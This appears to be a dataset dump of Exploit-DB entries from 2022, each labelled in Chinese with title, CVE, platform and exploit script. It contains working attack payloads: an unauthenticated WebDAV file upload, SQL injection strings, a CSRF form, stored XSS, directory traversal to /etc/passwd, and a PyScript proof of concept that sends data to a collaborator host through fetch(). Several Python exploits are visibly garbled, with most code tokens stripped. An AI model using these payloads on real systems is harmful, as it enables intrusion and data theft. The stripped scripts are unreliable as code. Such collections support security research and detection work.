QLWD/code_shield huggingface dataset:
标题: TLR-2005KSH - Arbitrary File Upload EDB-ID: 50931 CVE: 2021-45428 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: TLR-2005KSH - Arbitrary File Upload
# Date: 2022-05-11
# Shodan Dork: title:"Login to TLR-2021"
# Exploit Author: Ahmed Alroky
# Author Company : Aiactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-45428

# Vulnerability Description
# Due to the Via WebDAV (Web Distributed Authoring and Versioning),
# on the remote server,telesquare TLR-2021 allows unauthorized users to upload
# any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
# remote code execution as well.
# Due to the WebDAV, it is possible to upload the arbitrary
# file utilizing the PUT method.

# Proof-of-Concept
# Request


PUT /l6f3jd6cbf.txt HTTP/1.1
Host: 223.62.114.233:8081<http://223.62.114.233:8081/>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Length: 10 URL: https://www.exploit-db.com/exploits/50931
标题: F5 BIG-IP 16.0.x - Remote Code Execution (RCE) EDB-ID: 50932 CVE: 2022-1388 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-05-12 漏洞利用脚本: # Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x 
# CVE : CVE-2022-1388

from requests import Request, Session
import sys
import json



def title():
    print('''
    
   _______      ________    ___   ___ ___  ___       __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \|__ \     /_ |___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < 
 | |____   \  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |
  \_____|   \/   |______|  |____|\___/____|____|     |_|____/ \___/ \___/ 
                                                                          
                                                                                                                      
                                                                              
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
    '''   

 url lhost lport
 url  url  
 data  
  
  lhostlport
  
 
 headers  
     
  
   

 
 s  Session
 req  Request url jsondata headersheaders
 prepped  reqprepare
  preppedheaders
 resp  ssendprepped
     verify
     timeout
 
 
 
 
 
 respstatus_code


 __name__  
    title
    sysargv  
     sysargv
     sysargv
     
     exit
    
     exploitsysargvsysargvsysargv URL: https://www.exploit-db.com/exploits/50932
标题: Royal Event Management System 1.0 - 'todate' SQL Injection (Authenticated) EDB-ID: 50934 CVE: 2022-28080 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-12 漏洞利用脚本: # Exploit Title: Royal Event Management System 1.0 - 'todate' SQL Injection (Authenticated)
# Date: 2022-26-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
# Version: 1.0
# Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
# CVE: CVE-2022-28080
# References: https://nvd.nist.gov/vuln/detail/CVE-2022-28080

------------------------------------------------------------------------------------

1. Description:
----------------------

Royal Event Management System 1.0 allows SQL Injection via parameter 'todate' in
/royal_event/btndates_report.php#?=  Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'todate' parameter and save it like poc.txt. Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql


3. Example payload:
----------------------

(boolean-based)

-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns 

4. Burpsuite request:
----------------------

POST /royal_event/btndates_report.php#?= HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 334
Content-Type: multipart/form-data; boundary=f289a6438bcc45179bcd3eb7ddc555d0
Cookie: PHPSESSID=qeoe141g7guakhacf152a3i380
Referer: http://localhost/royal_event/btndates_report.php#?=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="todate"

-1' OR 1=1 OR 'ns'='ns
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="search"

3
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="fromdate"

01/01/2011
--f289a6438bcc45179bcd3eb7ddc555d0-- URL: https://www.exploit-db.com/exploits/50934
标题: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50930 CVE: 2021-43164 类型: REMOTE 平台: HARDWARE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)
# Google Dork: None
# Date: November 1, 2021
# Exploit Author: Minh Khoa of VSEC
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/resources/products/1896-1900
# Version: ReyeeOS 1.55.1915 - EW_3.0(1)B11P35 and EW_3.0(1)B11P55
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
# CVE: CVE-2021-43164

#!/usr/bin/python3

import os
import sys
 time
 requests
 json

 PASS
    key    
    shell  PASS key
     ospopenshellreadstrip


    TARGET   sysargv
    USER     sysargv
    PASS     sysargv
    COMMAND  sysargv
 Exception
    
    
    
    sysexit

endpoint  TARGET
payload  
         
         
             USER
             encPASS
             
             timetime
             
            
        

r  requestspostendpoint jsonpayload
sid  jsonloadsrtext

endpoint  TARGET sid
payload  
         
         
             COMMAND
            
        

r  requestspostendpoint jsonpayload
rtext URL: https://www.exploit-db.com/exploits/50930
标题: WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF) EDB-ID: 50925 CVE: 2021-24581 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: Exploit Title: WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)
Date: 2021-07-27
Exploit Author : WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)
Vendor Homepage : https://wpscan.com/plugin/blue-admi
Version : <= 21.06.01
Tested on: windows 10 Professional
CVE : CVE-2021-24581

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=blue-admin&tab=blue_admin_login_page" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ba_lp_attr[fm_bg_color]" value="FFFFFF" />
      <input type="hidden" name="ba_lp_attr[fm_color]" value="777777" /> URL: https://www.exploit-db.com/exploits/50925
标题: MyBB 1.8.29 - MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50924 CVE: 2022-24734 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-05-08
# Exploit Author: Altelus
# Vendor Homepage: https://mybb.com/
# Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1829
# Version: MyBB 1.8.29 
# Tested on: Linux
# CVE : CVE-2022-24734

# An RCE can be obtained on MyBB's Admin CP in Configuration -> Add New Setting. 
# The user must have a rights to add or update setting. This is tested on MyBB 1.8.29.
# The vulnerability may have existed as early as 1.4.0 since this 
# 'php' checking is introduced in 1.4.0 (https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f) 

 requests
 argparse
 random
 string
 base64  b64decode
 bs4  BeautifulSoup


 username password

    data  
          username
          password
          
    

    login_txt  r_clientposthost   datadatatext

       login_txt
        
        exit

    


 cmd raw_cmd

    config_settings_txt  r_clientgethost  text

       config_settings_txt
        
        exit

    

    soup  BeautifulSoupconfig_settings_txt 
    my_post_key  soupfind_all   

    rand_string  get_rand_string

     raw_cmd  
        extra  raw_cmd
    
        extra  cmd

    data  
          my_post_key
          
          
          
          
          rand_string
          
          extra
           
    

    post_setting  r_clientposthost  datadataallow_redirects

     post_settingstatus_code  
        soup  BeautifulSouppost_settingtext 
        error_txt  soupfind_all   text
        error_txt
        exit

    
     rand_string

 length
    
     joinrandomchoicestringascii_letters  i  length

 ident_string raw_cmd

    conf_settings_list  r_clientgethost  text

    soup  BeautifulSoupconf_settings_list 
    row_setting  soupfind_all   ident_string

    cmd_result  row_settingfind_all   text

     raw_cmd  
        cmd_result  b64decodecmd_resultdecode

    cmd_result

parser  argparseArgumentParser

parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
args  parserparse_args

username  argsusername
password  argspassword
host  argshost

cmd    argscmd    argscmd
raw_cmd    argsraw_cmd    argsraw_cmd

r_client  requestsSession

loginusername password
ident_string  add_settingscmd raw_cmdraw_cmd
get_cmd_resultident_string raw_cmdraw_cmd URL: https://www.exploit-db.com/exploits/50924
标题: PHProjekt PhpSimplyGest v1.3. - Stored Cross-Site Scripting (XSS) EDB-ID: 50922 CVE: 2022-27308 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: PHProjekt PhpSimplyGest v1.3.0 - Stored Cross-Site Scripting (XSS)
# Date: 2022-05-05
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: http://www.phprojekt.altervista.org (removed demo was at http://phprojekt.altervista.org/phpsimplygest130)
# Software Link: https://github.com/robyfofo/MyProjects (original PhpSimplyGest https://github.com/robyfofo/PhpSimplyGest now merged/renamed into MyProjects)
# Version: 1.3
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.32)
# CVE: CVE-2022-27308

# Description:

A stored cross-site scripting (XSS) vulnerability in PHProjekt PhpSimplyGest v1.3.0 (and related products from same vendor,
like "MyProjects") allows attacker to execute arbitrary web scripts or HTML.

Injecting persistent javascript code inside the title description (or content) while creating a project, todo, timecard,
estimates, report or finding, it will be triggered once page gets loaded.

# Steps to reproduce:

Click on Projects and add or edit an existing one,

Insert the following PoC inside the Title

   <<SCRIPT>alert("XSS here");//\<</SCRIPT>

Click on 'Send'.

If a user visits the website dashboard, as well as project summary page, the javascript code will be rendered. URL: https://www.exploit-db.com/exploits/50922
标题: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated) EDB-ID: 50921 CVE: 2022-28117 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: #!/usr/bin/env python3
# Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated)
# Exploit Author: cheshireca7
# Vendor Homepage: https://www.navigatecms.com/
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download
# Version: 2.9.4 and earlier
# Tested on: Ubuntu 20.04
# CVE: CVE-2022-28117
#
# -*- coding: utf-8 -*-

import requests as r, signal
from emoji import emojize
 argparse  ArgumentParser
 sys  exit
 requests_toolbeltmultipartencoder  MultipartEncoder
 hashlib  md5
 time  sleep
 base64  b64decodeb64encode
 colorama  Fore Style



 signum frame
    ForeYELLOWStyleRESET_ALLemojizeb64decode).decode(
    exit

 
    ForeBLUEStyleRESET_ALLf
    sleep

    
        
        s  rSession
        resp  sgetf
        csrf_token  respheaders

        
        data  MultipartEncoderfieldsfff
        headers  datacontent_type
        resp  spostf datadata headersheaders allow_redirects
    
        ForeREDStyleRESET_ALL
        exit
     respstatus_code  
        ForeGREENStyleRESET_ALL
         cookie  respcookies
               cookiename
                 respheadersf
    
        ForeREDStyleRESET_ALLf
        exit

 values
    ForeBLUEStyleRESET_ALL
    sleep
    
    
    data  f
    headers  values
    cookies  valuessplitvaluessplit
    resp  rpostf cookiescookies headersheaders datadata

    
    md5File  md5fencodehexdigest
    resp  rgetfcookiescookies
     resptext  
        ForeGREENStyleRESET_ALL
        sleep
        f
        exit
    
        ForeREDStyleRESET_ALL
        exit

 __name__  

    
    signalsignalsignalSIGINT handler
    parser  ArgumentParserdescription
    parseradd_argument default 
    parseradd_argument default 
    parseradd_argument required 
    parseradd_argument 
    args  parserparse_args

    exploitlogin URL: https://www.exploit-db.com/exploits/50921
标题: PyScript - Read Remote Python Source Code EDB-ID: 50918 CVE: 2022-30286 类型: REMOTE 平台: PYTHON 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: PyScript Remote Emscripten VMemory Python libraries
Source Codes Read
# Date: 5-9-2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://pyscript.net/
# Software Link: https://github.com/pyscript/pyscript
# Version: 2022-05-04-Alpha
# Tested on: Ubuntu Apache Server
# CVE : CVE-2022-30286

<py-script>
x = "CyberGuy"
if x == "CyberGuy":
    with open('/lib/python3.10/asyncio/tasks.py') as output:
        contents = output.read()
        print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://YOURburpcollaborator.net/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
</py-script> URL: https://www.exploit-db.com/exploits/50918
标题: Explore CMS 1.0 - SQL Injection EDB-ID: 50920 CVE: 2022-27412 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Explore CMS 1.0 - SQL Injection
# Date: 19/03/2022
# Exploit Author: Sajibe Kanti
# Vendor Name : EXPLORE IT
# Vendor Homepage: https://exploreit.com.bd
# CVE: CVE-2022-27412

# POC

# SQL Injection
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.
explore CMS is vulnerable to the SQL Injection in 'id' parameter of the 'page' page.

#Steps to reproduce

Following URL is vulnerable to SQL Injection in the 'id' field.

GET /page.php?id=1%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns HTTP/1.1
Host: REDACTED
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=b4c39f2ff3b9470f39bc088ab9ba9320
Referer: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36


HTTP/1.1 200 OK
content-encoding:
server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
content-type: text/html; charset=UTF-8
transfer-encoding: chunked
date: Thu, 17 Mar 2022 07:27:21 GMT
vary: Accept-Encoding

10.3.34-MariaDB

Server accepts the payload and the response get delayed by 7 seconds. URL: https://www.exploit-db.com/exploits/50920
标题: Apache CouchDB 3.2.1 - Remote Code Execution (RCE) EDB-ID: 50914 CVE: 2022-24706 类型: REMOTE 平台: LINUX 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
#  https://habr.com/ru/post/661195/
#  https://www.exploit-db.com/exploits/49418
#  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#  https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce




 socket
 hashlib  md5
 struct
 sys
 re
 time

TARGET  
EPMD_PORT   
COOKIE   
ERLNAG_PORT  
EPM_NAME_CMD  b 


NAME_MSG   b
CHALLENGE_REPLY  b
CTRL_DATA   b
CTRL_DATA  b


 CMD
    MSG   b
    MSG  b
    MSG  structpack CMD
    MSG  CMD 
    MSG  b
    PAYLOAD  b  CTRL_DATA  MSG
    PAYLOAD  structpack PAYLOAD  PAYLOAD
     PAYLOAD



  TARGET
    TARGET  



    epm_socket  socketsocketsocketAF_INET socketSOCK_STREAM
    epm_socketconnectTARGET EPMD_PORT
 socketerror  msg
      msg
    sysexit
    
epm_socketsendEPM_NAME_CMD 
 epm_socketrecv  b 
    data  epm_socketrecv
    data  datadata  decode
    data  datasplit
     data  
        choise  
          data
    
        
        line_number  
         line  data
            line_number  
             line_number line
        choise  
        
    ERLNAG_PORT  researchdatachoise  

    
    sysexit
epm_socketclose



    s  socketsocketsocketAF_INET socketSOCK_STREAM
    sconnectTARGET ERLNAG_PORT
 socketerror  msg
      msg
    sysexit
   
ssendNAME_MSG
srecv                    
challenge  srecv     
challenge  structunpack challenge




CHALLENGE_REPLY  md5COOKIE 
     challenge digest
ssendCHALLENGE_REPLY
CHALLENGE_RESPONSE  srecv

 CHALLENGE_RESPONSE  
    
    sysexit




data_size  
 
     data_size  
        CMD  
          CMD
            
         CMD  
            sysexit
        ssendcompile_cmdCMD
        data_size  structunpack srecv 
        srecv              
        data_size           
        timesleep
     data_size          
        data  srecvdata_size
        
        timesleep
        datadecode
        data_size  
            
        data  srecv
        
        timesleep
        datadecodeend  
        data_size URL: https://www.exploit-db.com/exploits/50914
标题: Anuko Time Tracker - SQLi (Authenticated) EDB-ID: 50915 CVE: 2022-24707 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Anuko Time Tracker - SQLi (Authenticated)
# Date: 2022-05-03
# Exploit Author: Altelus
# Vendor Homepage: https://www.anuko.com/
# Software Link: https://github.com/anuko/timetracker/tree/0924ef499c2b0833a20c2d180b04fa70c6484b6d
# Version: Anuko Time Tracker 1.20.0.5640
# Tested on: Linux
# CVE : CVE-2022-24707

# An authenticated user can exploit an SQL Injection vulnerability on the Puncher plugin if its enabled.
# User has to start the puncher and stop it but upon stopping an additional parameter 'date' must be passed.
# The 'date' parameter is then injected with SQL payload for leaking database contents.


 time  time
 requests
 argparse
 re
 bs4  BeautifulSoup
 datetime  datetime timedelta




 

    punch_txt  r_clientgethost  text

       punch_txt
        
        exit

    

    soup  BeautifulSouppunch_txt features
    time_record_form  soupfind      

    project_list  time_record_formfindAll

     project_list  
        
        exit

    f_proj  project_list

    f_proj f_projtext

     f_proj


 username password

     r_client

    data  
          username
          password
          
    


    login_txt  r_clientposthost   datadatatext
       login_txt
        
        exit

    


 project_id

     r_client
    
    data  
         project_id
         
          
          
         dateyear datemonth dateday
    


    headers  
          host  
    

    start_p  r_clientposthost   datadata headersheaderstext

       start_p
        
        exit
    
    

    puncher_p  r_clientgethost  dateyear datemonth datedaytext

    time_edit_ids  refindallpuncher_p
    time_edit_idssort

    latest_id  time_edit_idssplit

     latest_id


 project_id sqli
    
    get_all_tables  

     sqli  
        sqli  get_all_tables

    new_date  datetimedeltaminutes

    data  
         
          
          
         dateyear datemonth dateday sqli dateyear datemonth dateday
    

    headers  
          host  
    

    stop_p  r_clientposthost   datadata headersheadersallow_redirectstext

    

 puncher_id
    
    time_edit_p  r_clientgethost  puncher_idtext

    soup  BeautifulSouptime_edit_p features
    note_content  soupfind      

    note_contenttext


 puncher_id
    
    data  
          
          puncher_id
    

    headers  
          puncher_id
    

    del_p  r_clientposthost  puncher_id datadata headersheaders

    puncher_id


parser  argparseArgumentParser

parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
args  parserparse_args

r_client  requestsSession
host  argshost
date  datetimenow

username  argsusername
password  argspassword

loginusername password
proj_id  get_puncher_page
puncher_id  start_puncherproj_id

sqli

 argssqli  
    sqli  argssqli

stop_puncher_sqliproj_id sqlisqli
get_puncher_resultpuncher_id
delete_puncher_entrypuncher_id URL: https://www.exploit-db.com/exploits/50915
标题: DLINK DAP-1620 A1 v1.01 - Directory Traversal EDB-ID: 50919 CVE: 2021-46381 类型: REMOTE 平台: HARDWARE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: DLINK DAP-1620 A1 v1.01 - Directory Traversal
# Date: 27/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://me.dlink.com/consumer
# Version: DAP-1620 - A1 v1.01
# Tested on: Linux
# CVE : CVE-2021-46381

POST /apply.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://84.217.16.220/
Cookie: ID=634855649
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Content-Length: 281
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Host: 84.217.16.220
Connection: Keep-alive

action=do_graph_auth&graph_code=94102&html_response_message=just_login&html_response_page=../../../../../../../../../../../../../../etc/passwd&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass URL: https://www.exploit-db.com/exploits/50919
标题: Wondershare Dr.Fone 12.0.7 - Remote Code Execution (RCE) EDB-ID: 50913 CVE: 2021-44596 类型: REMOTE 平台: WINDOWS 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Wondershare Dr.Fone 12.0.7 - Remote Code Execution (RCE)
# Date: 4/27/2022
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44596
# References: https://github.com/netanelc305/WonderShell

Wondershare LTD Dr. Fone as of 2021-12-06 version is affected by Remote code execution. Due to software design flaws an unauthenticated user can communicate over UDP with the "InstallAssistService.exe" service(the service is running under SYSTEM privileges) and manipulate it to execute malicious executable without any validation from a remote location and gain SYSTEM privileges



 socket

payload  

byte_message  payload 

 i  
    opened_socket  socketsocketsocketAF_INET socketSOCK_DGRAM
    opened_socketsendtobyte_message  i
    fend URL: https://www.exploit-db.com/exploits/50913